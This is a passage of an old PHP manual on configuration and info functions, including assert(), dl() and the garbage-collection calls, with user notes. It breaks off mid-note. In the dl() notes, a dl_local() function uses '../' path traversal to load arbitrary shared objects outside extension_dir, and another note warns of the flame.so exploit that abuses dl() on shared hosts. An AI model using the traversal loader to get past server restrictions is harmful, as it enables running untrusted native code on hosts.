PHP_WINDOWS_NT_WORKSTATION | This is a workstation system (eg. Vista/XP/2000/NT4)

This table shows a list of features that can be checked for using the PHP_WINDOWS_VERSION_SUITEMASK bitmask.

Windows suitemask bitfields
Bits | Description
0x00000004 | Microsoft BackOffice components are installed.
0x00000400 | Windows Server 2003, Web Edition is installed.
0x00004000 | Windows Server 2003, Compute Cluster Edition is installed.
0x00000080 | Windows Server 2008 Datacenter, Windows Server 2003, Datacenter Edition or Windows 2000 Datacenter Server is installed.
0x00000002 | Windows Server 2008 Enterprise, Windows Server 2003, Enterprise Edition, Windows 2000 Advanced Server, or Windows NT Server 4.0 Enterprise Edition is installed.
0x00000040 | Windows XP Embedded is installed.
0x00000200 | Windows Vista Home Premium, Windows Vista Home Basic, or Windows XP Home Edition is installed.
0x00000100 | Remote Desktop is supported, but only one interactive session is supported. This value is set unless the system is running in application server mode.
0x00000001 | Microsoft Small Business Server was once installed on the system, but may have been upgraded to another version of Windows.
0x00000020 | Microsoft Small Business Server is installed with the restrictive client license in force.
0x00002000 | Windows Storage Server 2003 R2 or Windows Storage Server 2003 is installed.
0x00000010 | Terminal Services is installed. This value is always set. If this value is set but 0x00000100 is not set, then the system is running in application server mode.
0x00008000 | Windows Home Server is installed.

User Contributed Notes

There are no user contributed notes for this page.
Resource Types
PHP Options/Info Functions
PHP Options/Info


PHP Options/Info Functions

Table of Contents

  • assert_options — Set/get the various assert flags
  • assert — Checks if assertion is FALSE
  • dl — Loads a PHP extension at runtime
  • extension_loaded — Find out whether an extension is loaded
  • gc_collect_cycles — Forces collection of any existing garbage cycles
  • gc_disable — Deactivates the circular reference collector
  • gc_enable — Activates the circular reference collector
  • gc_enabled — Returns status of the circular reference collector
  • get_cfg_var — Gets the value of a PHP configuration option
  • get_current_user — Gets the name of the owner of the current PHP script
  • get_defined_constants — Returns an associative array with the names of all the constants and their values
  • get_extension_funcs — Returns an array with the names of the functions of a module
  • get_include_path — Gets the current include_path configuration option
  • get_included_files — Returns an array with the names of included or required files
  • get_loaded_extensions — Returns an array with the names of all modules compiled and loaded
  • get_magic_quotes_gpc — Gets the current configuration setting of magic_quotes_gpc
  • get_magic_quotes_runtime — Gets the current active configuration setting of magic_quotes_runtime
  • get_required_files — Alias of get_included_files
  • getenv — Gets the value of an environment variable
  • getlastmod — Gets time of last page modification
  • getmygid — Get PHP script owner's GID
  • getmyinode — Gets the inode of the current script
  • getmypid — Gets PHP's process ID
  • getmyuid — Gets PHP script owner's UID
  • getopt — Gets options from the command line argument list
  • getrusage — Gets the current resource usages
  • ini_alter — Alias of ini_set
  • ini_get_all — Gets all configuration options
  • ini_get — Gets the value of a configuration option
  • ini_restore — Restores the value of a configuration option
  • ini_set — Sets the value of a configuration option
  • magic_quotes_runtime — Alias of set_magic_quotes_runtime
  • main — Dummy for main
  • memory_get_peak_usage — Returns the peak of memory allocated by PHP
  • memory_get_usage — Returns the amount of memory allocated to PHP
  • php_ini_loaded_file — Retrieve a path to the loaded php.ini file
  • php_ini_scanned_files — Return a list of .ini files parsed from the additional ini dir
  • php_logo_guid — Gets the logo guid
  • php_sapi_name — Returns the type of interface between web server and PHP
  • php_uname — Returns information about the operating system PHP is running on
  • phpcredits — Prints out the credits for PHP
  • phpinfo — Outputs information about PHP's configuration
  • phpversion — Gets the current PHP version
  • putenv — Sets the value of an environment variable
  • restore_include_path — Restores the value of the include_path configuration option
  • set_include_path — Sets the include_path configuration option
  • set_magic_quotes_runtime — Sets the current active configuration setting of magic_quotes_runtime
  • set_time_limit — Limits the maximum execution time
  • sys_get_temp_dir — Returns directory path used for temporary files
  • version_compare — Compares two "PHP-standardized" version number strings
  • zend_logo_guid — Gets the Zend guid
  • zend_thread_id — Returns a unique identifier for the current thread
  • zend_version — Gets the version of the current Zend engine

User Contributed Notes

Stephen 19-Jul-2007 07:22
The manual states above:

<<<
The default is to allow dynamic loading, except when using safe mode. In safe mode, it's always impossible to use dl().
>>>

...however, on the manual page for dl(), it states:

<<<
Note:  dl() is not supported in multithreaded Web servers. Use the extensions  statement in your php.ini when operating under such an environment. However, the CGI and CLI build are not  affected !

Note: As of PHP 5, the dl() function is deprecated in every SAPI except CLI. Use Extension Loading Directives method instead.

Note: Since PHP 6 this function is disabled in all SAPIs, except CLI, CGI and embed.
>>>
gilthansNOSPAAM at gmailSPAAMBLOCK dot com 15-Mar-2005 05:04
Note: when magic_quotes_gpc is ON, it will also slash values inside both $_SERVER['QUERY_STRING'] and $_SERVER['SCRIPT_NAME'] (and equivalents) will also be slashed.
Mark 14-Jun-2004 05:37
You probably don't want to set "magic_quotes_runtime" because it affects even binary file read/write operations. This is especially problematic if you include someone else's library that depends on binary read/write. If you enable "magic_quotes_runtime", be sure to use set_magic_quotes_runtime() function call to disable it before calling someone else's library that does binary read/write.
Predefined Constants
assert_options
PHP Options/Info


Set/get the various assert flags

PHP Options/Info Functions
assert
PHP Options/Info Functions
PHP Manual

assert_options

(PHP 4, PHP 5)

assert_options — Set/get the various assert flags

Description

mixed assert_options ( int $what [, mixed $value ] )

Set the various assert() control options or just query their current settings.

Parameters

what

Assert Options
Option | INI Setting | Default value | Description
ASSERT_ACTIVE | assert.active | 1 | enable assert() evaluation
ASSERT_WARNING | assert.warning | 1 | issue a PHP warning for each failed assertion
ASSERT_BAIL | assert.bail | 0 | terminate execution on failed assertions
ASSERT_QUIET_EVAL | assert.quiet_eval | 0 | disable error_reporting during assertion expression evaluation
ASSERT_CALLBACK | assert.callback | (NULL) | Callback to call on failed assertions

value

An optional new value for the option.

Return Values

Returns the original setting of any option or FALSE on errors.

Examples

Example #1 assert_options() example

<?php
// This is our function to handle
// assert failures
function assert_failure()
{
    echo 'Assert failed';
}

// This is our test function
function test_assert($parameter)
{
    assert(is_bool($parameter));
}

// Set our assert options
assert_options(ASSERT_ACTIVE,   true);
assert_options(ASSERT_BAIL,     true);
assert_options(ASSERT_WARNING,  false);
assert_options(ASSERT_CALLBACK, 'assert_failure');

// Make an assert that would fail
test_assert(1);

// This is never reached due to ASSERT_BAIL
// being true
echo 'Never reached';
?>

See Also

  • assert() - Checks if assertion is FALSE

User Contributed Notes

Frédéric Bouchery 20-Jul-2003 04:25
Here is an exemple how to use the assertion callback function :

<?php
  assert_options( ASSERT_CALLBACK, 'assert_callback');

  function assert_callback( $script, $line, $message ) {
    echo 'You have a design error in your script <b>', $script,'</b> : line <b>', $line,'</b> :<br />';
    echo '<b>', ereg_replace( '^.*//\*', '', $message ), '</b><br /><br />';
    echo 'Open the source file and check it, because it\'s not a normal behaviour !';
    exit;
  }

  $x = 3;
  assert('is_integer( $x ) && ($x >= 0) && ($x <= 10); //* $x must be an integer value from 0 to 10' );
  echo "0 <= $x <= 10";
?>

assertion is usefull for "design by contract" methodology ...
PHP Options/Info Functions
assert
PHP Options/Info Functions


Checks if assertion is FALSE

assert_options
dl
PHP Options/Info Functions
PHP Manual

assert

(PHP 4, PHP 5)

assert — Checks if assertion is FALSE

Description

bool assert ( mixed $assertion )

assert() will check the given assertion and take appropriate action if its result is FALSE.

If the assertion is given as a string it will be evaluated as PHP code by assert(). The advantages of a string assertion are less overhead when assertion checking is off and messages containing the assertion expression when an assertion fails. This means that if you pass a boolean condition as assertion this condition will not show up as parameter to the assertion function which you may have defined with the assert_options() function, the condition is converted to a string before calling that handler function, and the boolean FALSE is converted as the empty string.

Assertions should be used as a debugging feature only. You may use them for sanity-checks that test for conditions that should always be TRUE and that indicate some programming errors if not or to check for the presence of certain features like extension functions or certain system limits and features.

Assertions should not be used for normal runtime operations like input parameter checks. As a rule of thumb your code should always be able to work correctly if assertion checking is not activated.

The behavior of assert() may be configured by assert_options() or by .ini-settings described in that functions manual page.

The assert_options() function and/or ASSERT_CALLBACK configuration directive allow a callback function to be set to handle failed assertions.

assert() callbacks are particularly useful for building automated test suites because they allow you to easily capture the code passed to the assertion, along with information on where the assertion was made. While this information can be captured via other methods, using assertions makes it much faster and easier!

The callback function should accept three arguments. The first argument will contain the file the assertion failed in. The second argument will contain the line the assertion failed on and the third argument will contain the expression that failed (if any - literal values such as 1 or "two" will not be passed via this argument)

Parameters

assertion

The assertion.

Return Values

FALSE if the assertion is false, TRUE otherwise.

Examples

Example #1 Handle a failed assertion with a custom handler

<?php
// Active assert and make it quiet
assert_options(ASSERT_ACTIVE, 1);
assert_options(ASSERT_WARNING, 0);
assert_options(ASSERT_QUIET_EVAL, 1);

// Create a handler function
function my_assert_handler($file, $line, $code)
{
    echo "<hr>Assertion Failed:
        File '$file'<br />
        Line '$line'<br />
        Code '$code'<br /><hr />";
}

// Set up the callback
assert_options(ASSERT_CALLBACK, 'my_assert_handler');

// Make an assertion that should fail
assert('mysql_query("")');
?>

See Also

  • assert_options() - Set/get the various assert flags

User Contributed Notes

uramihsayibok, gmail, com 20-Jun-2010 01:48
There's a nice advantage to giving assert() some code to execute, as a string, rather than a simple true/false value: commenting.

<?php

assert('is_int($int) /* $int parameter must be an int, not just numeric */');

// and my personal favorite
assert('false /* not yet implemented */');

?>

The comment will show up in the output (or in your assertion handler) and doesn't require someone debugging to go through your code trying to figure out why the assertion happened. That's no excuse to not comment your code, of course.

You need to use a block comment (/*...*/) because a line comment (//...) creates an "unexpected $end" parse error in the evaluated code. Bug? Could be.
(You can get around it with "false // not yet implemented\n" but that screws up the message)
hodgman at ali dot com dot au 28-Jul-2008 09:19
As noted on Wikipedia - "assertions are primarily a development tool, they are often disabled when a program is released to the public." and "Assertions should be used to document logically impossible situations and discover programming errors— if the 'impossible' occurs, then something fundamental is clearly wrong. This is distinct from error handling: most error conditions are possible, although some may be extremely unlikely to occur in practice. Using assertions as a general-purpose error handling mechanism is usually unwise: assertions do not allow for graceful recovery from errors, and an assertion failure will often halt the program's execution abruptly. Assertions also do not display a user-friendly error message."

This means that the advice given by "gk at proliberty dot com" to force assertions to be enabled, even when they have been disabled manually, goes against best practices of only using them as a development tool.
Krzysztof &#39;ChanibaL&#39; Bociurko 01-Oct-2007 06:13
Note that func_get_args() should be used carefully and never in a string! For example:

<?php
function asserted_normal($a, $b) {
    assert(var_dump(func_get_args()));
    }
function asserted_string($a, $b) {
    assert('var_dump(func_get_args())');
    }
?>

<?php asserted_normal(1,2) ?> prints
array(2) {
  [0]=>
  int(1)
  [1]=>
  int(2)
}

but <?php asserted_string(3,4) ?> prints
array(1) {
  [0]=>
  string(25) "var_dump(func_get_args())"
}

This is because of that the string passed to assert() is being evaled inside assert, and not your function. Also, note that this works correctly, because of the eval scope:

<?php
function asserted_evaled_string($a, $b) {
    assert(eval('var_dump(func_get_args())'));
    }
asserted_evaled_string(5,6);
?>
array(2) {
  [0]=>
  int(5)
  [1]=>
  int(6)
}

(oh, and for simplicity's sake the evaled code doesn't return true, so  don't worry that it fails assertion...)
mail<at>aaron-mueller.de 13-Sep-2006 10:51
Here is a simple demonstration of Design By Contract with PHP

<?php

assert_options(ASSERT_ACTIVE, 1);
assert_options(ASSERT_WARNING, 0);
assert_options(ASSERT_BAIL, 1);
assert_options(ASSERT_CALLBACK, 'dcb_callback');

function dcb_callback($script, $line, $message) {
    echo "<h1>Condition failed!</h1><br />
        Script: <strong>$script</strong><br />
        Line: <strong>$line</strong><br />
        Condition: <br /><pre>$message</pre>";
}

// Parameters
$a = 5;
$b = 'Simple DCB with PHP';

// Pre-Condition
assert('
    is_integer($a) &&
    ($a > 0) &&
    ($a < 20) &&

    is_string($b) &&
    (strlen($b) > 5);
');

// Function
function combine($a, $b) {
    return "Kombined: " . $b . $a;
}

$result = combine($a, $b);

// Post-Condition
assert('
    is_string($result) &&
    (strlen($result) > 0);
');

// All right, the Function works fine
var_dump($result);

?>
gk at proliberty dot com 26-Aug-2005 07:35
If you expect your code to be able to work well with other code, then you should not make any assumptions about the current state of assert_options() flags, prior to calling assert(): other code may disable ASSERT_ACTIVE, without you knowing it - this would render assert() useless!

To avoid this, ALWAYS set assert_options() IMMEDIATELY before calling assert(), per the C++ paradigm for assertion usage:

In one C++ source file, you can define and undefine NDEBUG multiple times, each time followed by #include <cassert>, to enable or disable the assert macro multiple times in the same source file.

Here is how I workaround this issue in my PHP code:

<?php
//////////////////////////////////////////////////////////////////////
/// phpxAssertHandler_f
//////////////////////////////////////////////////////////////////////
/**
 * @desc     Handler which also sets up assert options if not being called as handler
                 Always fatal when assertion fails
                 Always make sure assertion is enabled
                 Cannot depend on other code not using assert or using its own assert handler!
            USAGE:
            // customize error level of assertion (php assert_options() only allows E_WARNING or nothing at all):
                phpxAssertHandler_f(E_USER_NOTICE);
            // control assertion active state: not dependent on anything another piece of code might do with ASSERT_ACTIVE
                $GLOBALS['MY_ASSERT_ACTIVE']=false;
                phpxAssertHandler_f(E_USER_NOTICE,$GLOBALS['MY_ASSERT_ACTIVE']);
            // use alternate assertion callback function:
            // NOTE: pass null as custom options parameter to use default options
            // NOTE: pass no values for assert options parameter array elements to use default options
                $GLOBALS['MY_ASSERT_ACTIVE']=false;
                $GLOBALS['MY_ASSERT_CALLBACK']='myAssertCallback';
                phpxAssertHandler_f(
                    null,
                    array(
                        0=>$GLOBALS['MY_ASSERT_ACTIVE'],
                        3=>$GLOBALS['MY_ASSERT_CALLBACK'],
                    )
                );

 * @param   mixed = file or options
 * @param   line
 * @param   code
 * @return   void
 */
function phpxAssertHandler_f($file_or_custom_options=null, $line_or_assert_options=null, $code=null){

    static $custom_options;
    $debug = false;

    if (is_null($code)){
        // set default assert_options
        $assert_options[]=1;//ASSERT_ACTIVE
        $assert_options[]=0;//ASSERT_WARNING -
        $assert_options[]=0;//ASSERT_QUIET_EVAL
        $assert_options[]=__FUNCTION__;//ASSERT_CALLBACK

        // set default custom_options
        $custom_options[]=E_USER_ERROR;// error level

        if (!is_null($line_or_assert_options)){
            // assert_options are passed in
            if (!is_array($line_or_assert_options)){
                $line_or_assert_options=array($line_or_assert_options);
            }
            foreach ($line_or_assert_options as $i=>$assert_option){
                if ($assert_option===true) $assert_option=1;
                if ($assert_option===false) $assert_option=0;
                $assert_options[$i]=$assert_option;
                if($debug) echo ("assert_options[$i]=$assert_option\n");
            }
        }

        if (!is_null($file_or_custom_options)){
            // custom_options are passed in
            if (!is_array($file_or_custom_options)){
                $file_or_custom_options=array($file_or_custom_options);
            }
            foreach ($file_or_custom_options as $i=>$custom_option){
                if ($custom_option===true) $custom_option=1;
                if ($custom_option===false) $custom_option=0;
                $custom_options[$i]=$custom_option;
                if($debug) echo ("custom_options[$i]=$custom_option\n");
            }
        }

        // set assert options
        @assert_options (ASSERT_ACTIVE, $assert_options[0]);
        @assert_options (ASSERT_WARNING, $assert_options[1]);
        @assert_options (ASSERT_QUIET_EVAL, $assert_options[2]);
        @assert_options (ASSERT_CALLBACK, $assert_options[3]);

    } else {
    // we are acting as a callback function
        $file = $file_or_custom_options;
        $line = $line_or_assert_options;
        $msg="ASSERTION FAILED: $code";
        phpxErrorHandler_f ($custom_options[0],$msg,$file,$line);
    }
}//phpxAssertHandler_f()
?>
nyk at forumone dot com 26-Aug-2002 06:56
Assertion is a useful debugging feature, but for building unit tests and automated regression tests you should seriously consider using the PHPtest in the PEAR archive (http://pear.php.net/package-info.php?pacid=38) that is based on the JUnit framework for Java. There is also another unit testing framework, also based on JUnit and also called PHPunit on SourceForge (http://sourceforge.net/projects/phpunit/). I believe it is an independent effort from that on PEAR.
assert_options
dl
PHP Options/Info Functions


Loads a PHP extension at runtime

assert
extension_loaded
PHP Options/Info Functions
PHP Manual

dl

(PHP 4, PHP 5)

dl — Loads a PHP extension at runtime

Description

bool dl ( string $library )

Loads the PHP extension given by the parameter library.

Use extension_loaded() to test whether a given extension is already available or not. This works on both built-in extensions and dynamically loaded ones (either through php.ini or dl()).

Warning

This function has been removed from some SAPIs in PHP 5.3.

Parameters

library

This parameter is only the filename of the extension to load which also depends on your platform. For example, the sockets extension (if compiled as a shared module, not the default!) would be called sockets.so on Unix platforms whereas it is called php_sockets.dll on the Windows platform.

The directory where the extension is loaded from depends on your platform:

Windows - If not explicitly set in the php.ini, the extension is loaded from C:\php4\extensions\ (PHP 4) or C:\php5\ (PHP 5) by default.

Unix - If not explicitly set in the php.ini, the default extension directory depends on

  • whether PHP has been built with --enable-debug or not
  • whether PHP has been built with (experimental) ZTS (Zend Thread Safety) support or not
  • the current internal ZEND_MODULE_API_NO (Zend internal module API number, which is basically the date on which a major module API change happened, e.g. 20010901)
Taking into account the above, the directory then defaults to <install-dir>/lib/php/extensions/ <debug-or-not>-<zts-or-not>-ZEND_MODULE_API_NO, e.g. /usr/local/php/lib/php/extensions/debug-non-zts-20010901 or /usr/local/php/lib/php/extensions/no-debug-zts-20010901.

Return Values

Returns TRUE on success or FALSE on failure. If the functionality of loading modules is not available or has been disabled (either by setting enable_dl off or by enabling safe mode in php.ini) an E_ERROR is emitted and execution is stopped. If dl() fails because the specified library couldn't be loaded, in addition to FALSE an E_WARNING message is emitted.

Examples

Example #1 dl() examples

<?php
// Example loading an extension based on OS
if (!extension_loaded('sqlite')) {
    if (strtoupper(substr(PHP_OS, 0, 3)) === 'WIN') {
        dl('php_sqlite.dll');
    } else {
        dl('sqlite.so');
    }
}

// Or, the PHP_SHLIB_SUFFIX constant is available as of PHP 4.3.0
if (!extension_loaded('sqlite')) {
    $prefix = (PHP_SHLIB_SUFFIX === 'dll') ? 'php_' : '';
    dl($prefix . 'sqlite.' . PHP_SHLIB_SUFFIX);
}
?>

Changelog

Version | Description
5.3.0 | dl() is now disabled in some SAPIs due to stability issues. The only SAPIs that allow dl() are CLI and Embed. Use the Extension Loading Directives instead.

Notes

Note:

dl() is not supported when PHP is built with ZTS support. Use the Extension Loading Directives instead.

Note:

dl() is case sensitive on Unix platforms.

Note: This function is disabled when PHP is running in safe mode.

See Also

  • Extension Loading Directives
  • extension_loaded() - Find out whether an extension is loaded

User Contributed Notes

Anonymous 04-Dec-2010 10:36
this function errors out as the dl() cannot take the absolute path..."Warning: dl() [function.dl]: Temporary module name should contain only filename in /home/..."
CLI workaround 18-Feb-2009 03:18
NOTE:  This only works using the CLI

If you need to use dl() with the CLI, but you get this warning:

"PHP Warning:  dl(): Dynamically loaded extensions aren't enabled"

Then the 'enable_dl' setting in the php.ini needs to be set to 'On' - the set_ini() function does not work with this INI option.

If, however, you do not wish (or don't have access) to alter the system php.ini, then you can do the following:

<?php

if ( !ini_get('enable_dl') ) {
    exec("php -d enable_dl=On $argv[0]");
    exit;
}

?>

This simply calls itself and defines the enable_dl INI entry on the command line so you dont have to start the script with options in the first place (or use another script to call it.)
shaunspiller at spammenot-gmail dot com 29-Jan-2009 12:34
dl is awkward because the filename format is OS-dependent and because it can complain if the extension is already loaded. This wrapper function fixes that:

<?php

function load_lib($n, $f = null) {
    return extension_loaded($n) or dl(((PHP_SHLIB_SUFFIX === 'dll') ? 'php_' : '') . ($f ? $f : $n) . '.' . PHP_SHLIB_SUFFIX);
}

?>

Examples:

<?php

// ensure we have SSL and MySQL support
load_lib('openssl');
load_lib('mysql');

// a rare few extensions have a different filename to their extension name, such as the image (gd) library, so we specify them like this:
load_lib('gd', 'gd2');

?>
buildsmart at daleenterprise dot com 29-Dec-2006 01:33
I recently came across this under PHP 4.4.4, it seems that the dl(); function generates an error/warning about registering the function if a test is done on an extension that is pre-loaded in the php.ini file (extension=gd.so).
<?php
$gd_is_shared            = "shared-library";

if (function_exists('ImageCreateFromPNG') && !@dl('gd.so')) {
    $gd_is_shared = "embedded";
}

print $gd_is_shared;
?>

The only purpose of this test is to determine if it is an embedded extension or a loaded extension.

I don't see this error occur under PHP 5.1.6 or PHP 5.2.0.

The test platform is Mac OS X 10.3.9 and Mac OS X 10.4.8
docey 30-Dec-2005 09:37
just some note to loading modules, they do not have to
be executable.

some examples below check for this but if an module is
not executable is does not mean you cant use it. it just
needs to be readable NOT executable.

although some modules might need this perhaps for some
reason i cannot think of, so here an example,

<?php
// fails to load mysql although it could be loaded.
if(is_executable("mysql.so")){
 dl("mysql.so");
}

// loads mysql
if(is_readable("mysql.so")){
 dl("mysql.so");
}
?>

watch out with this, as you can see mysql.so would not be
loaded and the script would fail. because its checked for
executable permissions although these are not needed.
mag_2000 at front dot ru 06-Dec-2005 11:13
<?php

function dl_local( $extensionFile ) {
   //make sure that we are ABLE to load libraries
   if( !(bool)ini_get( "enable_dl" ) || (bool)ini_get( "safe_mode" ) ) {
     die( "dh_local(): Loading extensions is not permitted.\n" );
   }

     //check to make sure the file exists
   if( !file_exists( $extensionFile ) ) {
     die( "dl_local(): File '$extensionFile' does not exist.\n" );
   }

   //check the file permissions
   if( !is_executable( $extensionFile ) ) {
     die( "dl_local(): File '$extensionFile' is not executable.\n" );
   }

 //we figure out the path
 $currentDir = getcwd() . "/";
 $currentExtPath = ini_get( "extension_dir" );
 $subDirs = preg_match_all( "/\//" , $currentExtPath , $matches );
 unset( $matches );

     //lets make sure we extracted a valid extension path
   if( !(bool)$subDirs ) {
     die( "dl_local(): Could not determine a valid extension path [extension_dir].\n" );
   }

 $extPathLastChar = strlen( $currentExtPath ) - 1;

   if( $extPathLastChar == strrpos( $currentExtPath , "/" ) ) {
     $subDirs--;
   }

 $backDirStr = "";
     for( $i = 1; $i <= $subDirs; $i++ ) {
     $backDirStr .= "..";
       if( $i != $subDirs ) {
         $backDirStr .= "/";
       }
   }

 //construct the final path to load
 $finalExtPath = $backDirStr . $currentDir . $extensionFile;

   //now we execute dl() to actually load the module
     if( !dl( $finalExtPath ) ) {
     die();
   }

 //if the module was loaded correctly, we must bow grab the module name
 $loadedExtensions = get_loaded_extensions();
 $thisExtName = $loadedExtensions[ sizeof( $loadedExtensions ) - 1 ];

 //lastly, we return the extension name
  return $thisExtName;

}//end dl_local()

?>
james at gogo dot co dot nz 18-Jul-2005 04:30
WARNING: enable_dl/dl()
*********************

There is an exploit circulating currently which takes advantage of dl() to inject code into Apache which causes all requests to all virtual hosts to be redirected to a page of the attackers choice.

All operators of shared web hosting servers with Apache and PHP should disable dl() by setting enable_dl to off otherwise your servers are vulnerable to this exploit.

This exploit is generally known as flame.so (the object that is loaded into Apache) and flame.php (the php script that loads it).

Google gives more information:
http://www.google.co.nz/search?q=flame.so+flame.php
endofyourself at yahoo dot com 18-Oct-2003 04:12
If you need to load an extension from the CURRENT local directory because you do not have privelages to place the extension in your servers PHP extensions directory, this function i wrote may be of use to you

<?php
/*
    Function: dl_local()
    Reference: http://us2.php.net/manual/en/function.dl.php
    Author: Brendon Crawford <endofyourself |AT| yahoo>
    Usage: dl_local( "mylib.so" );
    Returns: Extension Name (NOT the extension filename however)
    NOTE:
        This function can be used when you need to load a PHP extension (module,shared object,etc..),
        but you do not have sufficient privelages to place the extension in the proper directory where it can be loaded. This function
        will load the extension from the CURRENT WORKING DIRECTORY only.
        If you need to see which functions are available within a certain extension,
        use "get_extension_funcs()". Documentation for this can be found at
        "http://us2.php.net/manual/en/function.get-extension-funcs.php".
*/

function dl_local( $extensionFile ) {
    //make sure that we are ABLE to load libraries
    if( !(bool)ini_get( "enable_dl" ) || (bool)ini_get( "safe_mode" ) ) {
     die( "dh_local(): Loading extensions is not permitted.\n" );
    }

     //check to make sure the file exists
    if( !file_exists( $extensionFile ) ) {
     die( "dl_local(): File '$extensionFile' does not exist.\n" );
    }

    //check the file permissions
    if( !is_executable( $extensionFile ) ) {
     die( "dl_local(): File '$extensionFile' is not executable.\n" );
    }

 //we figure out the path
 $currentDir = getcwd() . "/";
 $currentExtPath = ini_get( "extension_dir" );
 $subDirs = preg_match_all( "/\//" , $currentExtPath , $matches );
 unset( $matches );

     //lets make sure we extracted a valid extension path
    if( !(bool)$subDirs ) {
     die( "dl_local(): Could not determine a valid extension path [extension_dir].\n" );
    }

 $extPathLastChar = strlen( $currentExtPath ) - 1;

    if( $extPathLastChar == strrpos( $currentExtPath , "/" ) ) {
     $subDirs--;
    }

 $backDirStr = "";
     for( $i = 1; $i <= $subDirs; $i++ ) {
     $backDirStr .= "..";
        if( $i != $subDirs ) {
         $backDirStr .= "/";
        }
    }

 //construct the final path to load
 $finalExtPath = $backDirStr . $currentDir . $extensionFile;

    //now we execute dl() to actually load the module
     if( !dl( $finalExtPath ) ) {
     die();
    }

 //if the module was loaded correctly, we must bow grab the module name
 $loadedExtensions = get_loaded_extensions();
 $thisExtName = $loadedExtensions[ sizeof( $loadedExtensions ) - 1 ];

 //lastly, we return the extension name
  return $thisExtName;

}//end dl_local()

?>
tychay at php dot net 05-Jul-2003 08:15
MacOS makes a distinction between dynamically loadable shared libraries and loadable modules of code (bundles). The former has an extension .dylib and the latter has an extension .so. The former is in Mac-O and the latter is in ELF.

Thus PHP's extensions are built as .so whereas the symbol PHP_SHLIB_SUFFIX is bound (currently) to .dylib. I don't think this is the correct behavior, but nonetheless, it is the behavior as of PHP-5.0.0b2-dev. Right now, the config binds to SHLIB_SUFFIX_NAME (which is correctly bound to .dylib on Mac OS X). I imagine this is related to why there is so much trouble getting dl() to work on Mac OS X. (For instance, I have no trouble phpizing in a new shared library, but when compiling in stuff as shared... much evilness!)

BTW, to get dl() to work in Mac OS X you need to install the dlcompat library (via Fink, DarwinPorts, or Gentoo ports). Remember in the case of Fink, you better make sure your environment variables are adjusted to point to where dlcompat (and your other fink libraries) are.

terry
assert
extension_loaded
PHP Options/Info Functions


Find out whether an extension is loaded

dl
gc_collect_cycles
PHP Options/Info Functions
PHP Manual

extension_loaded

(PHP 4, PHP 5)

extension_loaded — Find out whether an extension is loaded

Description

bool extension_loaded ( string $name )

Finds out whether the extension is loaded.

Parameters

name

The extension name.

You can see the names of various extensions by using phpinfo() or if you're using the CGI or CLI version of PHP you can use the -m switch to list all available extensions:

$ php -m
[PHP Modules]
xml
tokenizer
standard
sockets
session
posix
pcre
overload
mysql
mbstring
ctype

[Zend Modules]

Return Values

Returns TRUE if the extension identified by name is loaded, FALSE otherwise.

Examples

Example #1 extension_loaded() example

<?php
if (!extension_loaded('gd')) {
    if (!dl('gd.so')) {
        exit;
    }
}
?>

Changelog

Version | Description
5.0.0 | extension_loaded() uses the internal extension name to test whether a certain extension is available or not. Most internal extension names are written in lower case but there may be extensions available which also use uppercase letters. Prior to PHP 5, this function compared the names case sensitively.

See Also

  • get_loaded_extensions() - Returns an array with the names of all modules compiled and loaded
  • get_extension_funcs() - Returns an array with the names of the functions of a module
  • phpinfo() - Outputs information about PHP's configuration
  • dl() - Loads a PHP extension at runtime
  • function_exists() - Return TRUE if the given function has been defined

User Contributed Notes

There are no user contributed notes for this page.
dl
gc_collect_cycles
PHP Options/Info Functions


Forces collection of any existing garbage cycles

extension_loaded
gc_disable
PHP Options/Info Functions
PHP Manual

gc_collect_cycles

(PHP 5 >= 5.3.0)

gc_collect_cycles — Forces collection of any existing garbage cycles

Description

int gc_collect_cycles ( void )

Forces collection of any existing garbage cycles.

Parameters

This function has no parameters.

Return Values

Returns number of collected cycles.

See Also

  • Garbage Collection

User Contributed Notes

Mason 07-Sep-2011 04:22
(Since this function wasn't documented as of the date I left this note...)

If you came here looking for documentation, allow me to point you instead to a section in the user manual about garbage collection that includes a bit at the end about when you would use this feature and what it will actually do: http://php.net/manual/en/features.gc.collecting-cycles.php

Hope it helps!
extension_loaded
gc_disable
PHP Options/Info Functions


Deactivates the circular reference collector

gc_collect_cycles
gc_enable
PHP Options/Info Functions
PHP Manual

gc_disable

(PHP 5 >= 5.3.0)

gc_disable — Deactivates the circular reference collector

Description

void gc_disable ( void )

Deactivates the circular reference collector, setting zend.enable_gc to 0.

Parameters

This function has no parameters.

Return Values

No value is returned.

See Also

  • Garbage Collection

User Contributed Notes

There are no user contributed notes for this page.
gc_collect_cycles
gc_enable
PHP Options/Info Functions


Activates the circular reference collector

gc_disable
gc_enabled
PHP Options/Info Functions
PHP Manual

gc_enable

(PHP 5 >= 5.3.0)

gc_enable — Activates the circular reference collector

Description

void gc_enable ( void )

Activates the circular reference collector, setting zend.enable_gc to 1.

Parameters

This function has no parameters.

Return Values

No value is returned.

See Also

  • Garbage Collection

User Contributed Notes

There are no user contributed notes for this page.
gc_disable
gc_enabled
PHP Options/Info Functions


Returns status of the circular reference collector

gc_enable
get_cfg_var
PHP Options/Info Functions
PHP Manual

gc_enabled

(PHP 5 >= 5.3.0)

gc_enabled — Returns status of the circular reference collector

Description

bool gc_enabled ( void )

Returns status of the circular reference collector.

Parameters

This function has no parameters.

Return Values

Returns TRUE if the garbage collector is enabled, FALSE otherwise.

Examples

Example #1 A gc_enabled() example

<?php
if(gc_enabled()) gc_collect_cycles();
?>

See Also

  • Garbage Collection

User Contributed Notes

Anonymous 02-Jul-2009 11:48
If I understand correctly, the php.ini parameter zend.enable_gc (see http://www.php.net/manual/en/info.configuration.php) determines whether garbage collection is enabled:

<?php

var_dump(gc_enabled());
ini_set('zend.enable_gc', 0);
var_dump(gc_enabled());

?>

In PHP 5.3.0 this prints:

bool(true)
bool(false)

Oh, and of course gc_enable() and gc_disable() turn on or off the collection of garbage.
gc_enable
get_cfg_var
PHP Options/Info Functions


Gets the value of a PHP configuration option

gc_enabled
get_current_user
PHP Options/Info Functions
PHP Manual

get_cfg_var

(PHP 4, PHP 5)

get_cfg_var — Gets the value of a PHP configuration option

Description

string get_cfg_var ( string $option )

Gets the value of a PHP configuration option.

This function will not return configuration information set when the PHP was compiled, or read from an Apache configuration file.

To check whether the system is using a configuration file, try retrieving the value of the cfg_file_path configuration setting. If this is available, a configuration file is being used.

Parameters

option

The configuration option name.

Return Values

Returns the current value of the PHP configuration variable specified by option, or FALSE if an error occurs.

Changelog

Version | Description
5.3.0 | get_cfg_var() was fixed to be able to return "array" ini options.

See Also

  • ini_get() - Gets the value of a configuration option
  • ini_get_all() - Gets all configuration options

User Contributed Notes

Stephen 10-Jan-2007 11:21
Regarding the statement by the earlier poster that:

